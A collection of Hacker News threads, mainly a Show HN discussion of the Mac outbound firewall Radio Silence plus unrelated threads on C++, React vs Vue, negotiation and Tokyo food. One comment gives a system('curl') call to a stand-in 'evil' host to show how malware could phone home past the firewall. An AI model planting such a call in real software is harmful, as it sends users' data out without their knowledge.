Show HN: My user-friendly outbound firewall for Mac - <AUTHOR> http://radiosilenceapp.com

<comment><AUTHOR> Author here. I have an open question about pricing. How do you feel about the price point? Some emails and comments have mentioned that $19 feels too expensive. To me, pricing seems like a dark art.

Now I ask you to put on your objectivity-soaked scientist's hat and answer: Would you have purchased the software if the price had been lower? If you already purchased, would you have been willing to go higher?

<comment><USER2> Yeah, I'd say $19 is really pushing it for this sort of app, which is something that is zero-maintenance, zero-interaction, install and forget kind of thing. The app needs to have some sort of presence (perhaps it does, I would not know, I am on Windows) that would prove that it is alive and doing its job. At the very least I would expect some sort of subtle visual feedback in the event when the blocked app is actually prevented from getting out. Showcase it in action on the landing page too.

The way it stands, it looks like a pretty UI for configuring built-in firewall. And $19 for that is an overkill. Also, keep in mind who your audience is - (paranoid) geeks, so it _is_ important to show that the app has some non-trivial content to it and it's not just an empty shell on top of what's available for free already.

In other words, if you manage to convince me that the app actually has some brains and smarts, that while it is simple, it is not trivial, then $19 is a fair price. If not, then even $10 is an overkill.

<comment><AUTHOR> Thanks for your input. I'm currently running at $9 for benchmarking.

<comment><USER2> No problem.

Here's another nitpick. Upon checkout it detected that I was in Canada and showed the price in CAD. It came to $9.16, and this is very odd since USD has been cheaper than CAD for a while now. It should've been under 9 CAD. I don't know why it worked out to be 9.16 and I don't really care, I just know it's wrong. So, not to confuse people like me just show the price in USD.

<comment><USER3> I wonder if the currency conversion logic is mixed up. Google returns: 1 US dollar = 0.9839 Canadian dollars. I wonder if it's dividing by .9839 instead of multiplying by it, which does get you close to 9.16.

<comment><AUTHOR> At least the USD to EUR conversion is fine. Not a mixup in the algorithm, at least.

</comment></comment></comment></comment></comment></comment><comment><USER4> I really love Radio Silence's UI (based on the screenshot).

Quick thought — for the more-paranoid, would it make sense to let you switch to a whitelist, where _only_ the listed applications are allowed to connect?

<comment><AUTHOR> Hmm, that could be a possibility. Thanks for the idea.

<comment><USER5> Seconded, I'd much rather add applications as needed. Also, the growl notification is a good idea.

And my own small idea: what if I want an application to check for updates? Can I say "allow application to connect for this application session"? Then when the app quits, it won't be allowed to connect out again, unless it's whitelisted.

<comment><USER4> I think Little Snitch has that feature, but it might go against RS's design: <http://news.ycombinator.com/item?id=2886679>

</comment></comment></comment></comment><comment><USER6> I'd be curious as to what the sales of this are like. It's something I'd be tempted to buy at maybe $5-10 or so, but for ~$20 I'd just use either the System Preferences firewall, or drop down to pf. There aren't that many things that I want to block that it'd be worth it, I think.

Is the price based on dev time, relation to similar products (little snitch is ~$40), or random guesswork?

<comment><AUTHOR> I share your curiosity, and have adjusted the price as an experiment. Let's see what happens.

<comment><USER6> Excellent, I hope it works out well, the rest of the thread seems to be of a similar opinion.

You've got my £5.50 anyway, I'd feel bad if I told you what I'd pay, then you set it to that and I didn't. Also, it means I can finally clear some of the localhost cruft out of my /etc/hosts that I'd forgotten about.

Everyone else seems to be clamouring for more features too, so I'll add one that would be useful: the ability to select multiple .app bundles at a time from the finder/select-file dialog window and add them. The Adobe tools I blocked required about 7 click-navigate-click-click operations alone.

The ability to toggle blocks without add/removing them would be nice as well, but (imho) anything else starts to smell of feaping creatures, and they should just buy Little Snitch.

</comment></comment></comment><comment><AUTHOR> UPDATE: As a data-collection experiment, I've dropped the price to $9 for the time being.

(If you already purchased and feel left out, send an email and we'll figure it out).

<comment><USER7> $9 feels about right. I know this is off-topic, but how do you like FastSpring?

<comment><USER6> From a customer perspective, it's one of the first times I've had a painless purchase experience whilst having NoScript enabled (and not having to greylist some random mirror of JQuery halfway through the procedure and lose all state). Everything seems to fall back to Plain Ol' Forms just fine.

</comment></comment></comment><comment><USER8> Very clean site design, and UI looks gorgeous. Awesome job!

May want to think about putting the qualifier inside the call to action:

Buy now for $9 (try risk-free for 30 days)

Then below the CTA put "If you're not absolutely happy..."

Alleviate their worries as in-context as possible.

Congrats on shipping! Baller.

</comment><comment><USER9> My first thoughts:

\+ nice website

\+ app in the screenshot looks nice

? does it show up in the menubar or...? (maybe add a couple of screenshots)

\- I can't try before I buy (yes, I've read the 30days/money back but it's still a barrier for most people)

</comment><comment><USER10> Can't download to try before buying. Lost my interest.

<comment><AUTHOR> I understand. You could purchase it and ask for a refund if you're not happy. I won't get mad about refund requests, that's a promise.

Building a trial version was not a first priority before launching. It certainly is something I'll look into next.

<comment><USER11> On your website, explicitly declare a N days refund guarantee. It's a selling point, shows good service and people generally don't abuse it. Worst case, you'll remove it.

See number 7 in <http://www.joelonsoftware.com/articles/customerservice.html>

<comment><AUTHOR> It's already there...

A direct quote: "You can try Radio Silence risk-free for 30 days. If you're not absolutely happy, you'll get your money back, no questions asked."

<comment><USER11> Sorry about that, missed it when I looked.

<comment><AUTHOR> No worries.

</comment></comment></comment></comment></comment></comment><comment><USER12> If you have to silence apps manually, how can you know if an app will phone home?

<comment><AUTHOR> This app can't unfortunately help you monitor the network activity of other apps.

A question: does the copy on the website give the impression that it would? I don't want to mislead people.

<comment><USER13> It's not misleading, but the combination of requiring manual silencing and not giving any indication of what needs to be silenced seems self-undermining. Your target market is now only those users who are sophisticated enough to figure out what needs to be silenced, but not sophisticated enough to figure out how to do the silencing themselves. That's a pretty narrow market segment.

</comment></comment></comment><comment><USER14> Asking for features "before I buy" is lame, I know. These are merely suggestions.

1) Avoiding the verboseness of something like LittleSnitch is an admirable goal, but there's too much work for the user in your case. How difficult would it be to detect when applications perform network operations and then auto- populate the list so that the user can decide what to do about it? Some kind of categorization of traffic would be good too (ie, listing common protocol utilization [DNS,HTTP,SSH,etc]).

2) A simple thumbs-up, thumbs-down on applications would be great. That way the user could toggle the app for when they, say, want to pull some updates from Steam. From the screenshot it looks like you can only add or remove apps.

The website looks great and $9.00 feels like a good price point. I'll second the idea that $19.00 was too much. I hope it sells well.

</comment><comment><USER15> What makes this better than Little Snitch?

<comment><AUTHOR> Little Snitch wants to inform you about everything. Radio Silence obeys silently. I guess "better" is a matter of preference. I wanted to create the simplest possible solution I could imagine.

They both solve similar problems, but from different points of view. I'm personally not a big fan of programs that constantly pop up alert windows.

<comment><USER16> Perhaps you can add a list of default applications that many people want to silence, and offer to silence them automatically once the user runs them.

<comment><AUTHOR> That is something worth considering, but it would go against one of the design goals: a firewall without a single alert dialog.

<comment><USER17> I wouldn't consider a one-time dialog box (growl, of course) to be that much of an issue. It might violate your design principle, but in the grand scheme of things, I don't think it would annoy the user.

<comment><USER12> Is Growl a part of OS X?

</comment></comment></comment></comment></comment></comment><comment><USER18> Great design and the app looks dead simple, i.e. it is not scary looking, but I need a bit more information.

"Radio Silence lets you block internet access from any applications you would rather keep silent."

My applications have/need internet access? Why do I need to silence them?

Do not assume people already know why they need this. Find a good selling point to the above questions (privacy, right?) and drive it. You should then be able to charge at least $30.

I also feel like I would feel more confident in the product and the co. behind it, if I saw links that lead to things like contact, documentation and support. I do not want to be left out in the cold should I need help.

I hope this helps.

</comment><comment><USER19> Will this work for an app like Spotify? Note: Spotify appears to use very random ports to do it's p2p stuff, which is great except when you don't have the bandwidth to spare.

<comment><AUTHOR> Update: I downloaded Spotify, and silenced it. It says it is unable to connect to the servers, and lists only local songs.

So, yes, Radio Silence works with Spotify.

<comment><USER19> Awesome sauce

</comment></comment></comment><comment><USER20> There's so many ways to send outbound traffic that I'm not sure if it's worth blocking it at all.

You can easily block applications that _don't_ try to be sneaky, but are firewalls able block something like `system("curl <http://evil.example.com/phone)`>? Leaks via DNS queries? URL handlers? Applescripting of other applications?

<comment><AUTHOR> You're absolutely right. I'm even trying to be careful about the use of the term "firewall" to avoid giving the wrong impression.

I made the conscious choice to only block applications that play nice. It should cover most of the use cases. If there was a malicious app on your system, it would probably be impossible to even select it using the current UI.

I have no idea how to make the arms race against malware nice, lightweight or unobtrusive. With this software, I did not even attempt to.

</comment></comment><comment><USER21> Personally I use a combination of pf (Waterroof is a nice control front end) and HandsOff (switcher from LittleSnitch for more fine grained control). I wish the dev well - but the first product that combines ipfw control with app specific will win my $$$. Until then everything else hasnt covered the gap I've been searching for as of yet.

</comment><comment><USER22> I'm really liking the design of the website.

<comment><AUTHOR> Thanks, that hits a soft spot in me. Like many programmers, I've wanted to learn about web design for a long time. Here, I really did the best I could, and am really happy to hear that it's not eye-achingly disgusting (to some).

<comment><USER23> I think you did a great job. Tells me exactly what it does, I don't have to hunt down screenshots, the call to action button is obvious yet not obnoxious and it's clean.

Well done IMO.

</comment></comment></comment><comment><USER24> I just installed it on OSX 10.6, restarted, and it still says "Filter not found, please restart your Mac"

Any help?

<comment><AUTHOR> Edit: This was a small problem with older versions of Snow Leopard. It's now fixed. Huge thanks to joshcrews for his patience.

Hmm. I'll send you a private message. That hasn't happened on any of the test machines I've used.

<comment><USER24> Thanks!

<comment><AUTHOR> Just to be clear, I sent an email to the address you used when purchasing.

</comment></comment></comment></comment><comment><USER25> I wish I could subscribe to adblock style lists for application firewalls. That's something I'd pay real money for.

</comment><comment><USER26> Any reason why you decided to not distribute it through the Mac Appstore? Genuinely curious.

<comment><AUTHOR> The App Store doesn't accept apps that aren't contained in a single neat bundle. Network monitoring and automatic launching requires more than that.

That's pretty much the only reason, I would have been happy to sell it through the store.

</comment></comment><comment><USER27> Looks good. Wishing you success!

</comment><comment><USER28> very nice, it just disappears when you click done.

You may forget about this and wonder why my apps aren't connecting but glad there isn't dock or menu icon!

<comment><AUTHOR> Glad you like it. I wanted the whole app to be as invisible and unnoticeable as possible.

</comment></comment><comment><USER29> Very nice. Anyone aware of something like this for Linux?

</comment><comment><USER30> It would be nice if it was in the Mac App Store (or if it is already you shall link to it)

<comment><AUTHOR> It's not a self-contained package because of the kernel extension, so can't be sold through the App Store. Otherwise it would be there.</comment></comment>


Offer HN: Free Web/UI Design - <AUTHOR>

Hi. I am a freelance web+interface designer and I am offering my services for free to HN startups.
My portfolio is at madebyargon.com
I will pick two startups who email me at email@example.com. They will get a free custom redesign for their website or app. I prefer consumer-facing startups over B2B ones. <comment><USER2> I just responded too, just in case, awesome of you to offer to do this for the community! Good designers are hard to find your stuff looks excellent!

</comment><comment><USER3> Hello Ashraful, I have dropped you a line. Hope to hear from you soon! (though I'm not sure why you're doing this for free)

</comment><comment><USER4> emailed :)

</comment><comment><USER5> emailed</comment>


Arthur C. Clarke: Superiority (1951) - <AUTHOR> http://www.mayofamily.com/RLM/txt_Clarke_Superiority.html <comment><USER2> The Soviet take on this can be found here: [http://militera.lib.ru/research/suvorov12/06.html](http://militera.lib.ru/research/suvorov12/06.html)

</comment><comment><USER3> I read the story's Norden as a jab at the Norden bombsight, another high-tech weapon that failed to improve real-world results: [https://en.wikipedia.org/wiki/Norden_bombsight#Postwar_analy...](https://en.wikipedia.org/wiki/Norden_bombsight#Postwar_analysis)

</comment><comment><USER4> [https://en.wikipedia.org/wiki/Superiority_(short_story)](https://en.wikipedia.org/wiki/Superiority_\(short_story\))

</comment><comment><USER5> "Done is better than perfect"

</comment><comment><USER6> The problem is, we forget the failures and the pain and remember the succeses. Nobody remembers the german attempt to get the bomb. Everbody remembers Trinity.

</comment><comment><USER7> LOL! Is the submitter trying to use this as a thinly veiled parable for JavaScript Fatigue?</comment>


Hacker News of Music? Would You? - <AUTHOR>

Would you use a platform where you create a playlist to listen to based on the current ranking in a "hacker-news styled" site? You then up-vote songs in your playlist while listening. Thoughts? <comment><USER2> <http://hypem.com/>

</comment><comment><USER3> no</comment>


Where do I go to learn C++? - <AUTHOR> I'm very interested in learning C++. I know it's hard... but I'm determined to do it. Anyone have any useful websites I should start with? <comment><USER2> How do you learn? I would buy Stroustrup's "The C++ Programming Language" [http://www.stroustrup.com/4th.html](http://www.stroustrup.com/4th.html) and read it back to front, but that's not for everybody (stroustrup.com is worth looking at, regardless of how you learn)

What do you know? If you know C, for example, it is different than when all you know is prolog.

Also: what version? C++ has seen significant updates that changed C++ best practices quite a bit. I would aim for at least C++14, but if you want to work on older code or on software for a system that doesn't have a recent compiler, that isn't a good idea.

Finally: Learning C++ isn't as hard as 'the Internet' say it is; historically, it is more that you constantly have to be on your toes when writing code, especially for code that constructs, copies or takes down objects in various ways. Modern versions are better in that respect; you still can eek out every bit of performance, but if you don't try (which you shouldn't, in the first version of your program) and use modern idioms, there are far fewer pitfalls.

</comment><comment><USER3> As someone who recently returned to C++ after a few years away, start with C++11 which feels like a modern language and dare I say very Pythonic. I'd say you need to grasp the following concepts to get you up and running the quickest:

1\. Fundamentals of C++ mainly virtual polymorphism and STL. Make sure you understand the mechanisms (vpointers and vtables) as I'd bet my house almost every C++ interview will cover these. 2\. C++ 11 style including memory management. 3\. The famous "50 ways" book for good practice such as const and explicit class declaration etc.

Lastly, probably the best Youtube resource I found for learning is the following bitesize 20 min lectures which explain key concepts, though some may be a bit outdated. Watch one over lunch and practice in your IDE at the same time.

[https://www.youtube.com/user/BoQianTheProgrammer/playlists](https://www.youtube.com/user/BoQianTheProgrammer/playlists)

</comment><comment><USER4> Its not the language that is difficult its the underlying systems that are complex. What do you want to do with it? What is your passion? The language is just a tool

<comment><AUTHOR> Sure. I find the education system very straightforward and downright boring, to be frank, being a high school student, however, I am constricted to it on a day-to-day basis.

I love real-world application and so I see coding and development in general as the way forward for me personally - to be honest the whole world of startups.

I'm currently running a start-up company and learning code on the side. I guess the end goal is to be able to develop world-class applications? That's why I want to learn C++.

<comment><USER5> So lets push this a little farther. What type of "world-class" application? Do you want to do a mobile app, web app, desktop?

C++ is an amazing language, and I use it almost everyday. However, I develop most of my applications with JavaScript, and that includes web, mobile, and desktop applications. I am using C++ in my application with Nodejs for my more computational heavy operations.

The more specific you are, and I know you are excited and have all the wonder in world, but it will allow this community to help you. Best of luck!

</comment></comment></comment><comment><USER6> My generic advice: [http://norvig.com/21-days.html](http://norvig.com/21-days.html)

</comment><comment><USER7> You should start with D. The one true C++.</comment>


GitHub Stars !== Usage: React Is Still Blowing Vue and Angular Away - <AUTHOR> https://zendev.com/2018/06/19/react-usage-beating-vue-angular.html <comment><USER2> No one I work with has ever even brought up the possibility of switching from React to Vue, let alone counting Github stars.

Compare to when React came out, it was immediate consensus that we need to switch from Backbone to React. When Angular gained popularity, we did not have an urge to switch because it felt unclear what the scope and direction of Angular actually was.

React (really JSX) solves the single problem of making HTML a part of JavaScript. For me, it's game over, they have solved the problem or came close enough to where I'm comfortable staying in the React ecosystem for the rest of my career.

With React there's no weird "v-if ng-if" template logic that you have to grapple with. To me, Handlebars already gave me enough taste of how horrible and limiting maintaining template logic outside of components is.

Just my take. No desire to even download Vue and try it out, I don't foresee any productivity gains from it.

<comment><USER2> I also wanted to make an additional comment expressing my frustration with the consistently negative comments on posts like this about JS Frameworks.

These commenters, those who see React as "just another JS Framework" and whom see JavaScript developers as people who would change JS Frameworks as if they were ordering a new drink at Starbucks: These people are the epitome of amateur.

Building web apps has been my career for nearly a decade. If you think entire teams would just up and switch to a new JS framework tomorrow because of a Medium article, or because of Github stars, you don't understand how the industry works at all.

React is not a fashion statement, it's an evolved paradigm shift in the web. Vue is not, it looks like Angular and Handlebars, the way apps were built 5 years ago, it adds nothing to the industry but more bloat and distracting people from using React.

<comment><USER3> Thus spoke the priest of the inquisition confronting heretics distracting from the one true way:)

I personally had a lot of trouble with React, I didn't care for it, it was too foreign, too invasive.

Vue on the other hand just clicked nicely and appeared a thing of simplicity and beauty.

But admittedly I'm a wanton sinner. Who also don't care for Facebook products no matter how great and open and popular they are.

<comment><USER2> React was created by Jordan Walke, a software engineer at Facebook. Facebook had a good reputation at the time, and so we forgive Jordan's divine genius for that slight error in career choice.

</comment></comment></comment></comment><comment><USER4> Not really big fan of articles like this. Why the need to compare and say this one has more stars, or is more used, etc.

I am thankful that we have these frameworks / libraries / modules that have greatly helped in our software development process.

At the end of the day, what matters is developer productivity, their happiness and satisfaction (regardless of the toolkit they use), and the overall value that their product brings to their intended target (outcomes).

P.S. I use Vue, React, Angular, whichever suits the need of the client the most.

<comment><USER5> It's a reasonable expectation that a framework with more users will have more documentation, more examples, more contributions from the community, etc. While I agree that a developer should choose based on what will make them most productive and happy, popularity is still an important factor.

When comparing 2 or more frameworks or libraries to use, I always check out the github repo and look at the number of stars. I don't see a problem with this article pointing out that this metric may not be the best indicator of usage.

<comment><USER6> Also, in enterprise consultant built apps we often have to consider what kind of talent we're going to be able to get for that project. It's much easier to get Angular and React developers than Vue developers at the moment. That could certainly change in a year of course.

<comment><USER7> It boggles my mind that companies don't expect frontend devs to be able to transfer knowledge between frameworks. Do they just not have that skill or do companies really not believe those devs are capable of that? Or both?

<comment><USER6> We know that good devs can pickup new frameworks quickly and easily. But, when we're charging our customers top dollar they want devs who are experts day 1, and (unfortunately) we can only charge top dollar if we bring those people. But, that's just our business model... I know some other consulting companies that charge lower rates and hire people with less experience.

</comment></comment></comment></comment></comment><comment><USER8> A lot of people using Vue just link Vue from a CDN and drop it in a webpage as a script, without using NPM. Does the stats account that fact? Sure you can do that with React as well, but you wont in production with JSX as one needs to compile it with node.js toolchain. Same for Angular. Vue usage is more like jQuery usage than React in practice.

<comment><USER9> You can also look at job postings as another metric of popularity. Last I checked, Vue wasn't sought nearly as much as React.

</comment></comment><comment><USER10> People have wildly different views on what Github stars are. Some see it as a way to bookmark project you find interesting while other simply stars whenever they feel like the project is impressive.

Bottomline is: it's not a good metric, it's simply a way to see how "popular" something is and how likely it is that some random developer saw your project.

While anecdotal, I've starred Vue because I see it as a cool project and I've starred React as another cool project. In both case, I did toy projects with the frameworks and never used it in production. On the other hand, apache/httpd I did a lot of projects with and I did not give it a star yet.

In my opinion stars are not endorsement, they're a questionable way to measure how likely it is that your coworker have heard of a given project.

<comment><USER11> Also having created, promoted, and contributed to repositories with >100 stars it seems that ~10% of people who view the repository will star it. Not sure how reliable it is but I've always taken stars to indicate how many people have seen the project.

<comment><USER12> I have a couple projects that are getting a decent amount of stars recently and I'm looking at the stats for the last two weeks:

\- One has 3750 unique visitors, and 680 stars in 2 weeks

\- Another has 80 unique visitors, 20 stars in 2 weeks

</comment></comment></comment><comment><USER13> React ecosystem heavily encourages the use of build tools dependent on NPM package management.

Vue users are more likely to bypass NPM. They are often on-boarded with the gentler approach most familiar to those who "sprinkle in some jQuery" \- Drop in a <script> tag and you are ready to rock. This approach is more likely to use a local file or from CDN.

<comment><USER14> Curious how Vue users are getting by without Webpack / Parcel for Babel and maintaining 3rd party dependencies via NPM? Copying and pasting Vue components from Stack Overflow? That approach may be fine for small web pages, but for commercial applications, it's not a viable approach.

<comment><USER13> We avoid Webpack/Parcel and NPM dependencies entirely. I understand that convenience wins for most people, but it comes with a cost. Dependencies are magically stitched together with limited developer insight, arbitrary 3rd party code can make it into your production bundle on a whim, and it is far from "optimized" output.

We use rollup[1] for our production bundle. We manage all 3rd party dependencies by source control. We don't need to rely on NPM for ES5/ES6/CommonJS/AMD/Modules - We have full control of each dependency to use the code that is most fit. Sometimes that is already checked-in by the author, sometimes we need to build it, sometimes we can use the modern ES6 code directly, sometimes we can remove duplicate polyfills already in our bundle.

It takes bit more discipline, but the extra security, optimal build, and peace of mind knowing how things work, are well worth the effort to us.

[1] [https://rollupjs.org](https://rollupjs.org)

<comment><USER15> How do you update the dependencies when the author releases a new version? Sounds like it would be a lot of work....

</comment></comment></comment></comment><comment><USER16> Why do people care which framework "blows" the other one away? In my opinion, it literally doesn't matter at all and arguing over such things seems amateur.

Use whatever tool gets the job done.

<comment><USER14> I mean, I could technically dig a hole in the ground with a spoon...it would get the job done, after all...or I could use a shovel or a back hoe. All three are capable of digging holes. Discussing which tools work best is an important question in software development. After all, the tools you choose can be force multipliers in your overall productivity as a team or organization.

<comment><USER16> > Discussing which tools work best is an important question in software > development.

I completely agree, but would you write an article titled "Spoons still blowing away Forks in digging holes"?

<comment><USER14> Maybe...if Forks were more popular on Github?

<comment><USER17> Is this a crossover episode?

</comment></comment></comment></comment></comment><comment><USER18> I agree that number of use is a good factor when choosing a framework. But Vue has incredible tools, resources and community so don't let that get in your way. I've tried all three and Vue is just such a pleasure to use.

</comment><comment><USER19> I think that Vue.js is on the ascendance. I mentioned this earlier. It is on track to exceed React.js if things continue in this fashion. Github stars are a reflection of interest.

I do worry that Vue.js is mostly one guy, you like to at least have a higher bus factor than one: [https://en.wikipedia.org/wiki/Bus_factor](https://en.wikipedia.org/wiki/Bus_factor)

<comment><USER20> Vue was started by one guy. Vue is lead by one guy. But there's a core team behind Vue and it's growing ;<).

</comment></comment><comment><USER21> Appreciate !== vs !=, no type conversion on Stars and Usage in comparison. Also, agreed. Would be more interesting to crawl all repos to see which have React vs Vue vs Angular for a more detailed understanding of usage.

<comment><USER22> Except most professional projects would be private or on GitHub Enterprise so even that metric would have some severe selection bias.

<comment><USER21> Good point. I guess we'd have to rely on Github publishing this data to get the full picture.

</comment></comment></comment><comment><USER23> Of course GitHub stars do not show usage, it shows interest. Considering Vue came later, we can also say its interest grew much faster.

There is no winner anyway, both React and Vue are amazing tools giving you the power to solve the same problem in different ways: building UIs.

</comment><comment><USER24> MooTools is in wider use on the web than Angular, React, and Vue.js combined. [https://w3techs.com/technologies/overview/javascript_library...](https://w3techs.com/technologies/overview/javascript_library/all)

It's funny, to me anyway, that this post look at the developer/development side of things rather than the end consumers of apps/sites side of things.

<comment><USER25> Isn't the survey you posted, counting the "number of pages" (which isn't exactly a good metric in the world of SPAs), even funnier by entirely looking at the development side of things?

</comment></comment><comment><USER26> One observation worth remembering: Enterprise usage would most likely be hosted locally / downloaded once per version and used by N internal projects.

<comment><USER27> Artifactory is a pain in the butt, but it's atill a lot better than sharing a gigabit line with twenty other developers, the IT dept and those assholes in management who watch the ball gane on their work computer.

</comment></comment><comment><USER28> After building two large applications using React, Redux, Redux Sagas, and Typescript, I feel burnt out. I'm honestly surprised Elm or ReasonML aren't more popular as they seem to provide all those aforementioned libraries in one go.

<comment><USER29> Vue is ascending precisely because it combines some of the better features of those libraries - most notably, the centralized data store concept, which was the driving force behind developing Redux (having your state in one place instead of spread out across many components.)

</comment></comment><comment><USER30> Vue, React and Angular (and many other frameworks) have enough critical mass that they aren't going away, and will continue to get regular updates. This, combined with how well the framework fits your particular use case and team, is all that matters. Why we focus on which one is "biggest" is beyond me. Biggest doesn't matter. Big enough does. Once a framework achieves that size, it can be considered for things other than personal toy projects, and all the other factors are what should guide your final decision.

</comment><comment> mike-cardwell I've never heard anyone say that you can do X in Vue much easier than in React. I've heard a bunch of people say that it's easier to learn than React, but I found React very very easy to learn anyway. Basically, I've not heard a convincing reason to look into Vue yet, so I haven't.

Also, people contact me about jobs involving React several times a week. I've never been contacted about a job involving Vue. Not once.

I'm sure Vue is good, but _shrug_ , so is React.

<comment><USER31> I don't think it should be framed as Vue vs React in the first place.

They approach similar (but not quite the same) problems in different ways. They are both really great! It doesn't have to be zero sum.

</comment></comment><comment><USER32> Considering FuckItJS has 2.9k stars, I would hope that stars !== usage. :)

</comment><comment><USER27> Back when dinosaurs roamed the earth and we all walked to school uphill, everybody used Struts for server side page rendering.

And at least a half of them hated it. When something better came along they dropped it like a rock.

Usage is a poor predictor of future sucesses. If people ar rooting for someone else, people have already started turning on you.

</comment><comment><USER33> One thing to think about is what is the motivation/incentive for someone to take a specific action. For me personally, I will "star" something that I find interesting AND I think I might forget how to find it again. Example: people might forget the exact name/repo for colors.js so they will be incentivized to star it, but no one will forget "apache".

That's why vue might gain more stars than the current dominant players (react and/or angular)

</comment><comment><USER34> I had a friend say something that I think is a pretty good way to look at it. He said: "React is the blockbuster hit at the box office, while Vue is the critics' darling"

The big question is if it's good enough to replace what's already established. Things will probably equalize eventually, but by the time Vue overtakes, if it does, there will probably be some kind of new and shinier thing that intends to replace both of them.

</comment><comment><USER35> I think using number of downloaded will also count number of build on each commit. Imagine if you have three branch in your repository, each push will rebuild the project (redownload dependencies). If you push three times a day it will download three dependencies three times.

Also, some project include their dependencies to VCS which only count once per build.

</comment><comment><USER36> I was thinking what is the reason that Vue have more stars than React given it is not used more (perhaps in China it is). My guess would be that it's because Vue is more community driven than React. Vue is dependent only on community while React is dependent on Facebook & community. Therefore I believe Vue community share more excitement for the project.

</comment><comment><USER37> Maybe star power is more of a sign of acceleration than usage. For example, if I have several projects in react, and then I start to move into Vue, it is not like I am going to convert my past projects over to Vue as well. I'll only be starting my future projects in Vue.

So that means more and more developers are beginning to get interested into Vue.

</comment><comment><USER38> That's alright to me, I use vue in my own projects and react at work and while I greatly prefer one, I don't hate the other (anymore).

An aside note is that I wish there were fewer developers in this type of threads pretending that the abomination that is JSX makes react better than vue... which can use JSX just fine.

</comment><comment><USER39> While we're talking about starring, here's a great webapp that lets you tag and organise your existing GitHub stars beyond the anemic official capability (filter by language)

[https://astralapp.com/](https://astralapp.com/)

(I'm unaffiliated)

</comment><comment><USER40> OK. I will still continue to eschew Angular and React in favor of Vue. It works with my brain best.

</comment><comment><USER41> My Pentium 4 CPU fan is still blowing better than any of these JS frameworks will ever will.

</comment><comment><USER42> I for one measure my developer e-peen (used to get me real women interwebz dates) by how many stars my framework of choices uses. I am shocked and appalled by these findings.

</comment><comment><USER43> While Vue fits my brain _way_ better, most companies use React. Why? Their decision makers feel safer. (FB backing)

This makes me reluctant to jump in and burn bridges.

</comment><comment><USER22> I star plenty of things that might be crap, but have something interesting about them. Not saying that applies here, but some of my favorite libraries aren't starred because I use them so much and have the page memorized. Stars are a terrible metric. For example, I don't have Rails starred.

</comment><comment><USER44> GitHub Stars !== Usage. GitHub Stars ~ Interestingness.

</comment><comment><USER45> The Vue community is not friendly.

</comment><comment><USER46> React is indeed the new jQuery.

<comment><USER47> Isn't Vue the new jQuery? Because you can drop it in so much easier

<comment><USER48> In usage, maybe. React is the "people are learning this instead of raw javascript" kind of default that jQuery became.

I hope it does the same thing that jQuery did, and that is essentially make itself unnecessary in a lot of ways. Take all the really good features of React and make them browser-native.

To a certain degree, this is already happening. Web components are inching closer every day.

<comment><USER49> React apps would require more raw JavaScript then say Vue/angular with their own template logic stuff.

</comment></comment></comment></comment><comment><USER50> why does this matter? (not trying to be argumentative. genuinely curious)

</comment><comment><USER51> I wonder to what extent npm downloads can be attributed to version changes.</comment>


Negotiations: Allowing your opponent to save face - <AUTHOR>

Does anyone have any good anecdotes and tips for allowing the opposite side of an argument or negotiation to save face?<p>This is something I need to work on.  I have the classic flaw where I outright railroad people with what I know is right in a situation, and I realize that I need to temper this, to allow them to save face. <comment><USER2> So you're saying you're a dick who instantly assumes himself correct?</comment>


Why Tokyo Is the World's Best Food City - <AUTHOR> http://luckypeach.com/why-tokyo-is-the-worlds-best-food-city-david-chang <comment><USER2> If you don't read the byline (Momofuku's David Chang), you'd be excused for thinking it's written by a doofus who's not really worried about actually constructing an argument as opposed to lining up opinions.

I like Chang, but I can't take his piece seriously with a sentence like this:

> I genuinely don't give a fuck about any other place on the planet. I just > want to go to Tokyo to eat. Look at the other food cities in the world, such > as Paris. Can't live there, because I don't want to eat only French food. > It's great for a week and then you know what I want? Anything but French > food.

I believe he occasionally frequents hip modern French restaurants in Paris, many of which are essentially focused on taking a modern twist on classical "haute cuisine" and making it less pretentious and even more adventurous. So it's a little rich to see him go on about Tokyo when after going to his favorite Ramen joints there a few years ago, I still couldn't find one that could touch my experiences at Kotteri Ramen Naritake in Paris — a decidedly Japanese export run the way a Ramen joint is supposed to run and yet the best Ramen I've ever had anywhere in the world.

Tokyo is an amazing place to eat. No argument about that. But putting down other culinary destinations just because you easily get bored of the main food style there is a little lazy. I've had amazing food in Tokyo without trying to play it safe. Yet, I could flip his "argument" about French food in Paris and say that when you get bored of Japanese food (or Japanese reinventions of other foods), then maybe Tokyo would get old for you.

What's far more likely is that he (Chang) has an intense emotional attachment to Tokyo's food scene and that it gives him perpetual pleasure. And that's great, for him. For anyone curious of his claims, just watch Mind of a Chef's Japan episode with David Chang, it's a marvel: [https://www.youtube.com/watch?v=_cJm1zny0Bw](https://www.youtube.com/watch?v=_cJm1zny0Bw)

PS: Yes, I'm French, from Paris, and just as fucking biased as he is.

<comment><USER3> > when you get bored of Japanese food (or Japanese reinventions of other > foods), then maybe Tokyo would get old for you.

No, sorry, Tokyo really has amazing food of all kinds and not mere "reinventions". Italians here admit the Italian food is better on average than in Italy, the American food is better here than back home, etc.

I won't get into French food in Tokyo, which is superb, I will leave that comparison to you.

If you haven't been in Tokyo, you really have no idea what you're talking about. There are more Michelin starred restaurants here than Paris, London, and New York combined. And more importantly: only half the Michelin starred restaurants in those cities are any good. On the other hand, only half the good restaurants in Tokyo accept a Michelin listing because the other half doesn't want to deal with the tourists it brings. So the real ratio is even more lopsided.

Ps, Momofuku is overrated and David Chang's personality is tedious, but that doesn't make him wrong about Tokyo.

</comment></comment><comment><USER4> I enjoy this person's enthusiasm, but I am skeptical of his method and conclusions. If you have to fly seafood around the world it's not the best seafood any more. Statements like "There's no Southeast Asian food that I can find ... but if it exists it's probably really good" raise their doubts. Using the F word for emphasis in every sentence raises doubts.

Some things I can definitely agree with. Being in Italy drives me crazy too. I think you could make a fortune opening a decent Chinese (or really decent any non-Italian cuisine) restaurant in Rome. Because everything built around pasta in every single restaurant really gets old.

<comment><USER5> While the style raised doubts for me too, I then saw the byline and realized, well, he can get away with it. For context, the author is David Chang ([https://en.wikipedia.org/wiki/David_Chang](https://en.wikipedia.org/wiki/David_Chang)), who has – amongst other accolades – a 2-star Michelin restaurant.

Aside: I also find it _very_ awesome that David Chang made a GenBank reference in this article. :)

<comment><USER6> Disagree that he can get away with it. Michelin star or not, this guy wouldn't have a modicum of main stream recognition if it weren't for Anthony Bourdain giving him his 15 minutes of fame.

If you watch the Mind of a Chef series where he is featured in the first season, you get the sense that he has a chip on his shoulder regarding asian cuisine. That's fine and maybe well deserved, but I wouldn't get this kind of advice from someone so blatantly biased.

